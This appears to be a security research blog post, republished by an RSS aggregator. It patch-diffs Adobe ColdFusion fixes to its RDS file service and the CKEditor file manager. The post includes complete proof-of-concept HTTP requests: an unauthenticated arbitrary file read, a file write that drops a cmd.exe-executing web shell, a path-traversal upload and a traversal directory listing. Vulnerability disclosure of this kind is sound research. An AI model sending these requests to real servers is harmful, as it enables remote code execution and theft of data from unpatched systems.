


















We’re back, melting - we’ve tried shouting, screaming, and throwing things at the Sun, and it is just not working.
Before we begin our analysis, we want to be clear - given the number of vulnerabilities fixed (and some not mentioned..), we’ve struggled to have confidence in our attribution of “vulnerability <> specific CVE ID”.
We’ve performed some informed, uninformed, random guesses - but as usual, please resist the urge to send us emails explaining how awful/wrong we are. We know some of you can’t resist, so please rest assured that we do read them, print them, and frame our favorites each month.
Like the individual who emailed us 5 times to tell us that they were older than Telnet. Given that Telnet is newer than SSH (which we replied to tell you (your follow-up emails were caught by our spam filter, sorry)), we knew you were lying to us.

As always, watchTowr clients gain industry-first access to our research days before publication to validate their exposure, accompanied by Active Defense capabilities to autonomously mitigate exposure.
This research is a glimpse into the capabilities that power our Preemptive Exposure Management solution and get organizations ahead of inevitable in-the-wild exploitation: the watchTowr Platform.
Adobe ColdFusion is a rapid web application development platform built around its own scripting language, ColdFusion Markup Language (CFML), which lets developers build dynamic, data-driven websites and applications with relatively little code.
It runs on a Java-based server engine that sits between web servers and backend resources - databases, file systems, APIs, and email servers - translating CFML tags and functions into executable logic that generates web content on the fly.
Well, in typical fashion, on June 30 Adobe released a security advisory covering numerous CVEs affecting Adobe ColdFusion.
The following versions were listed as affected (basically, everything..):
Per the advisory, and repeated here for verbosity, the following vulnerabilities have been resolved:
To fuel our analysis today, we compared the following versions following our normal ‘what the hell has changed’ process:
For those of you unaware, this isn’t Adobe’s first security advisory. In fact, history shows us that the RDS feature of ColdFusion has been a main character many times, with many of the most recent security patches being focused on resolving vulnerabilities within the RDS module.
For those unfamiliar with it, RDS (Remote Development Services) is a ColdFusion feature that allows a developer's IDE, historically ColdFusion Builder, Dreamweaver, or the Eclipse plugin, to interact with a running ColdFusion server. It can browse the filesystem, execute database queries, and assist with debugging, all over HTTP. Under the hood, it is essentially a small RPC protocol.
Warning: RDS is not enabled by default. To reach the vulnerability described in this post, RDS must be enabled and, based on our testing, authentication must also be disabled (?)

The above is how you do this, and in fairness, Adobe does point out the obvious - not ideal to disable authentication.
Now, every RDS request is sent as an HTTP POST to /CFIDE/main/ide.cfm, with an ACTION query parameter selecting the requested operation.
The request is handled by RdsFrontEndServlet, which looks up the supplied ACTION value in a command map before dispatching the request to the corresponding servlet:
User ColdFusion server
────────────── ─────────────────
│ POST /CFIDE/main/ide.cfm?ACTION=FILEIO
│ Content-Type: application/octet-stream
│ <length-prefixed RDS body>
├───────────────────────────────────► RdsFrontEndServlet
│ │ look up ACTION
│ ▼
│ ┌────────────────────────────┐
│ │ FILEIO → FileServlet │
│ │ BROWSEDIR → BrowseDirServlet │
│ │ DBFUNCS → DbFuncsServlet │
│ │ ADMINAPI → AdminApiServlet │
│ └──────────────┬─────────────┘
│ │ RdsServlet.service():
│ │ 1. isRdsEnabled()?
│ │ 2. RDS security on? → auth
│ ▼
│ processCmd() → read/write/list/…
│ <length-prefixed RDS response> │
◄─────────────────────────────────────────────────┘
The protocol itself is refreshingly simple. Once you speak RDS's RPC language, performing operations such as reading files is remarkably straightforward:

While it might look like complete gibberish, the RDS protocol is actually remarkably simple. Every request is little more than a length-prefixed list of fields. Because, apparently, someone decided this was a better idea than just using... well, anything else.
Let's use the request above to see how it works.
The first value specifies the total number of fields in the request. Each field is then encoded as:
:).With that in mind, a request to read a file looks like this:
2 : 0000 18 : C:\Windows\win.ini 0000 4 : READ
▲ ▲ ▲ ▲ ▲ ▲ ▲
│ │ │ │ │ │ └─ field[1] data … "READ"
│ │ │ │ │ └───── length … 4
│ │ │ │ └────────── 4-byte pad (skipped)
│ │ │ └─ field[0] data … "C:\Windows\win.ini" (18 bytes)
│ │ └────── length … 18
│ └─────────── 4-byte pad (skipped)
└─────────────── field count … 2
With the protocol understood, we can turn our attention to how ColdFusion handles these requests.
Looking at core/coldfusion/rds/FileServlet.java, we can see that each operation is dispatched to a corresponding handler method:
public class FileServlet extends RdsCmdProcessorCompositeServlet {
private static DateFormat formatter = new SimpleDateFormat("hh:mm:ssa MM/dd/yyyy");
@Override
public void doInit() throws ServletException {
this.addCmdProcessor("READ", new FileServlet.FileReadOperator());
this.addCmdProcessor("WRITE", new FileServlet.FileWriteOperator());
this.addCmdProcessor("RENAME", new FileServlet.FileRenameOperator());
this.addCmdProcessor("REMOVE", new FileServlet.FileDeleteOperator());
this.addCmdProcessor("EXISTENCE", new FileServlet.FileExistsOperator());
this.addCmdProcessor("CREATE", new FileServlet.FileCreateDirectoryOperator());
this.addCmdProcessor("CF_DIRECTORY", new FileServlet.FileCFDirectoryOperator());
}
[..SNIP..]
As we’re diffing between a patched and a different version, we might as well see what changes have been made to the FileReadOperator() method to try and prevent this excitement:

Previously, after the filename value was extracted from the RPC packet, it was passed directly into:
FileServlet.this.getFile(filename)
which created and returned a File object.
In the patched version, the same filename value is passed into:
FileServlet.this.getCanonicalFile(filename)
instead.
A simple diff shows the important change. The path is no longer just resolved and returned. It now flows through RdsFileSecurity.resolveCanonical, which appears to enforce “additional” (editor: does this imply there was some before?) path validation before the file is read and returned:

Let’s take a quick look at resolveCanonical() though, for completeness.
resolveCanonical() lives inside RdsFileSecurity (as shown above), and its job is fairly straightforward: canonicalize the user-supplied path and reject obvious attempts to escape the intended file scope.
In practice, that means blocking things like:
package coldfusion.rds;
import coldfusion.util.RB;
import java.io.File;
import java.io.IOException;
final class RdsFileSecurity {
private RdsFileSecurity() {
}
static File resolveCanonical(String path) throws IOException {
if (path == null || path.isEmpty()) {
throw new IOException(RB.getString(RdsFileSecurity.class, "RdsFileSecurity.InvalidPath"));
} else if (path.indexOf(0) >= 0) {
throw new IOException(RB.getString(RdsFileSecurity.class, "RdsFileSecurity.NullByteRejected"));
} else if (containsParentDirSegment(path)) {
throw new IOException(RB.getString(RdsFileSecurity.class, "RdsFileSecurity.TraversalRejected"));
} else {
return new File(normalizeDriveLetter(path)).getCanonicalFile();
}
}
static String normalizeDriveLetter(String name) {
return name == null || name.length() <= 1 || name.charAt(1) != ':' || name.length() != 2 && (name.charAt(2) == '\\' || name.charAt(2) == '/')
? name
: name.substring(0, 2) + File.separator + name.substring(2);
}
private static boolean containsParentDirSegment(String path) {
String p = path.replace('\\', '/');
return p.equals("..") || p.startsWith("../") || p.endsWith("/..") || p.contains("/../");
}
}
And honestly, that's pretty much it - achieving Arbitrary File Read is as simple as sending the following HTTP request:
POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
Host: 172.30.22.81:8500
Content-Type: application/octet-stream
Content-Length: 37
2:000018:C:\Windows\win.ini00004:READ
Response:
HTTP/1.1 200
Content-Type: text/html
Content-Length: 131
3:92:; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
23:08:18:31AM 05/08/20216:Normal
But there's more. Because of course there is.
As you might remember, the FILEIO service doesn't just support reading files. It also exposes operations for writing, renaming, moving, deleting, and more.
Unsurprisingly, every one of these operators received the same path validation fix. More importantly, they all suffered from the same underlying issue.
While an Arbitrary File Read is already a serious problem, the impact becomes considerably more interesting once you start looking at the write primatives.
For example, here's the FileWriteOperator, patched in exactly the same way as FileReadOperator to prevent path traversal:

This is obviously now not just a ‘boring’ file write primative - but a trivial path to Remote Code Execution.
HTTP request:
POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
Host: 172.30.22.81:8500
Content-Type: application/octet-stream
Content-Length: 204
4:000043:C:\ColdFusion2025\cfusion\wwwroot\shell.cfm00005:WRITE00001:00000126:<cfexecute name="cmd.exe" arguments="/c whoami & calc" timeout="10" variable="o"></cfexecute><cfoutput>#7*7# :: #o#</cfoutput>
Response:
GET /shell.cfm HTTP/1.1
Host: 172.30.22.81:8500
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive

Hopefully, dear reader, this is fairly self-explanatory.
Our best guess is that the Arbitrary File Write was assigned CVE-2026-48282, while the Arbitrary File Read became CVE-2026-48313.
As we've already pointed out, though, the same fix also quietly eliminated several additional vulnerabilities:
Did Adobe get bored listing them? A character limit in their advisory? Who knows. We’ll ask the pets again.
During our adventures of patch diffing, we noticed another interesting set of changes. This time, they were tucked away in the ajax-ckeditor directory:

Our first stop was settings.cfm:

The patch introduces a handful of newly disallowed file extensions, including:
jspfcfmailwarIt also adds a new <cfscript> block to prevent path traversal during file uploads (honestly, it’s pretty stunning that you can roll your own language, forget what is dangerous about, and then forget to block it - but what do we know (nothing)).
Before we go any further, though, there is one important detail worth pointing out. Both the vulnerable and patched versions contain the following configuration:
<!--- Disable file uploads by default--->
<cfset variables.settings.AllowUploads = "false">
<!--- Disable Directory Creation by default --->
<cfset variables.settings.AllowDirectoryCreation = "false">
<!--- Disable File Manager Directory Navigation By Default --->
<cfset variables.settings.AllowDirectoryNavigation = "false">
In other words, file uploads are disabled by default.
Just like the RDS vulnerabilities discussed earlier, this means the vulnerable functionality must first be explicitly enabled. However, once enabled, the upload endpoint appears to be reachable without authentication.
Triggering the vulnerability is then as simple as sending a file upload request containing a path traversal payload in the path parameter:
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
Host: 172.30.22.81:8500
User-Agent: curl/8.5.0
Accept: */*
Content-Length: 368
Content-Type: multipart/form-data; boundary=------------------------2F0yiXgQtdASfx6tlRsvGZ
Connection: keep-alive
--------------------------2F0yiXgQtdASfx6tlRsvGZ
Content-Disposition: form-data; name="path"
home/../../../../../../../../../../../ColdFusion2025/cfusion/wwwroot/
--------------------------2F0yiXgQtdASfx6tlRsvGZ
Content-Disposition: form-data; name="file"; filename="poc.war"
Content-Type: text/plain
123
--------------------------2F0yiXgQtdASfx6tlRsvGZ--
The uploaded file is written to disk as NT AUTHORITY\SYSTEM, making the impact fairly obvious.
The same patch also fixes an Arbitrary Directory Listing vulnerability in the CKEditor file manager. Triggering it is equally straightforward:
GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=getfmfiles&path=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../ColdFusion2025/ HTTP/1.1
Host: 172.30.22.81:8500
Accept: */*
Connection: keep-alive
As we mentioned, this advisory was chunky - and we saw evidence of multiple other vulnerabilities being resolved:
These vulnerabilities revolved around the use of the following CFML tags (documented here for verbosity, like an advisory extension):
<cffeed>
<cfpop>
<cfimap>
<cfexchangemail>
<cfexchangeconnection>
<cfwebsocket>
<cffile action="upload">
However, there is a key difference compared to the vulnerabilities we covered above: these vulnerabilities require a custom implementation of a .cfm page that makes use of the affected tag, requiring:
Speak soon.
The research published by watchTowr Labs is powered by the same engine behind the watchTowr Platform, our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.
The watchTowr Platform combines External Attack Surface Management and Continuous Automated Red Teaming to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。